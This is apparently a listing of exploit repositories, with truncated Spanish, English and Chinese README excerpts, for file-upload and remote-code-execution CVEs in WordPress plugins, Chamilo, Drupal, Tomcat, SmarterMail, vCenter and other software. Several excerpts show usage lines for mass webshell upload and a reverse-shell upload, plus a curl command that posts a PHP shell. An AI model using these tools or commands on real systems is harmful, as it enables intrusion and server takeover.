fortilogger_arbitrary_fileupload

CVE-2021-3378 | FortiLogger - Carga Arbitraria de Archivos No Autenticada Metasploit Fecha: 30-01-2021 Autor del Exploit: Berkan Er [email protected] Página del Proveedor: https://www.fortilogger.com/ Enlace del Software: https://www.fortilogger.com/download Versión: 4.4.2.2 Probado en:...

CVE-2016-3088

CVE-2016-3088 Declaración Un script de exploit basado en Python para CVE-2016-3088. Este es mi primer script, así que puede que algo no encaje del todo. Pero parece que funciona bien cuando lo probé. Descripción Este script puede eliminar la necesidad de capturar paquetes durante la explotación d...

CVE-2023-4220

CVE-2023-4220 RCE Chamilo 1.11.24 | https://starlabs.sg/advisories/23/23-4220/ | | Chamilo LMS /tmp/rce.php EOF curl -F 'bigUploadFile=@/tmp/rce.php' "$HOST/$URLUPLD" CMD=$echo $CMD|base64 -w0| python3 -c "import urllib.parse,sys; printurllib.parse.quoteplussys.stdin.read" curl...

PageMyadmin_file_upload_getshell

Este repositorio no tiene un README...

CVE-2025-34085-Multi-target

CVE-2025-34085 Escáner RCE Multiobjetivo Escáner de explotación masiva para CVE-2025-34085 — una vulnerabilidad de ejecución remota de código no autenticada en el plugin Simple File List de WordPress. Esta herramienta sube un payload PHP disfrazado como imagen, lo renombra mediante un motor de...

CVE-2020-24186-wpDiscuz-7.0.4-RCE

POC CVE-2020-24186-wpDiscuz-7.0.4-RCE WordPress wpDiscuz 7.0.4 Ejecución Remota de Código Existe una vulnerabilidad de Ejecución Remota de Código en el plugin gVectors wpDiscuz 7.0 a 7.0.4 para WordPress, que permite a usuarios no autenticados subir cualquier tipo de archivo, incluyendo archivos...

CVE-2023-6875

Lo que hace el exploit Coloca un token que te permite ver el correo. Encuentra el nombre de usuario del administrador; si no puede encontrarlo, establece "admin" como predeterminado. Solicita un enlace para restablecer la contraseña del administrador, el cual se envía por correo al administrador...

WooRefer

WooRefer | CVE-2022-4047 - Return Refund and Exchange For WooCommerce Herramienta masiva automática para comprobar y explotar la vulnerabilidad en CVE-2022-4047 - Return Refund and Exchange For WooCommerce install.sh sha1sum install.sh | grep 12345678 md5sum install.sh sha512sum install.sh bash...

commix

English • Ελληνικά • Español • Français • فارسی • Bahasa Indonesia • Türkçe Commix short for command injection exploiter is an open source penetration testing tool, written by Anastasios Stasinopoulos @ancst, that automates the detection and exploitation of command and code injection...

CVE-2024-50379

Es complicado explotar manualmente, así que creé un exploit.. Uso: shell.jsp es el archivo shell, ggsl.jsp es el nombre/ruta que se guardará en el servidor de destino. ./CVE-2024-50379 -u http://192.168.2.245:8080 -f shell.jsp -p ggsl.jsp Aviso de exención de responsabilidad Esta herramienta está...

CVE-2021-29447-POC

CVE-2021-29447 Proof of Concept Proof of Concept for CVE-2021-29447 written in Python. Details about the CVE can be found at https://vulners.com/cve/CVE-2021-29447 Disclaimer This script is a PoC for authorized ethical security testing only. Usage usage: python3 CVE-2021-29447.py -h --url URL...

CVE-2024-25292

RenderTune RCE Una prueba de concepto para la vulnerabilidad CVE-2024-25292. Una vulnerabilidad de cross-site scripting XSS en RenderTune v1.1.4 permite a los atacantes ejecutar scripts web arbitrarios o HTML mediante un payload manipulado inyectado en el parámetro Upload Title. En este repositor...

CVE-2024-49668

🚨 CVE-2024-49668: Vulnerabilidad de subida arbitraria de archivos en el plugin Verbalize WP de WordPress 📋 Resumen CVE-2024-49668 es una vulnerabilidad crítica en las versiones 1.0 y anteriores del plugin Verbalize WP de WordPress. Esta vulnerabilidad permite a atacantes no autenticados subir...

CVE-2024-25600-mass

subida masiva de shell para cve python3 exploit.py -l yourlist.txt ruta del shell https://examplewebsite.com/asd.php...

ResponsiveFileManager-CVE-2022-46604

ResponsiveFileManager-CVE-2022-46604 Responsive FileManager v.9.9.5 vulnerable a CVE-2022-46604 Bypass de extensión de creación de archivos que conduce a RCE. El exploit actual está realizado en Python 3 y explota la vulnerabilidad para subir una webshell que permite la ejecución remota de comand...

CVE-2019-11447

CVE-2019-11447 - PoC Explota CuteNews 2.1.2 mediante comprobaciones deficientes de carga de archivos utilizadas al subir una imagen de avatar, lo que conduce a RCE. Instalación Clona el repositorio e instala los requisitos. pip install -r requirements.txt Uso Para subir un avatar necesitarás una...

CVE-2025-52691-APT-PoC

CVE-2025-52691 PoC: Carga Arbitraria de Archivos en SmarterMail RCE Mejorado con APT Este es un exploit de prueba de concepto PoC mejorado para CVE-2025-52691 , una vulnerabilidad crítica en el software de servidor de correo SmarterTools SmarterMail que permite la carga arbitraria de archivos sin...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 subida de shell inversa Exploit para WpDiscuz 7.0.4 basado en el exploit escrito por h3v0x. Explota la vulnerabilidad y sube una shell PHP inversa. La inspiración fue el CTF Blogger. exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001...

CVE-2018-7600-Drupal-0day-RCE

CVE-2018-7600-Drupal-0day-RCE Ejecución remota de código PHP 0day en Drupal Perl Este es un exploit RCE 0day en el CMS Drupal. Puede subir el payload al servidor. CVE : CVE-2018-7600 Cxsecurity : https://cxsecurity.com/issue/WLB-2018040108 Cómo ejecutar el exploit : 1- git clone...

VcenterKiller

VcenterKiller -1.注意 在本地搭建漏洞环境的兄弟，用vckiller验证log4j基本上会失败，因为在Vmware 虚拟机环境下用NAT模式的话，验证模块中的出口网卡会被判定为127.0.0.1，这样目标访问的LDAP Server地址就变成了127.0.0.1，验证就失败了😏 0.必读 如果遇到bug请提issue，写这个工具单纯是为了方便，它没有什么高大上的东西 1.它是什么 一款针对Vcenter的综合验证...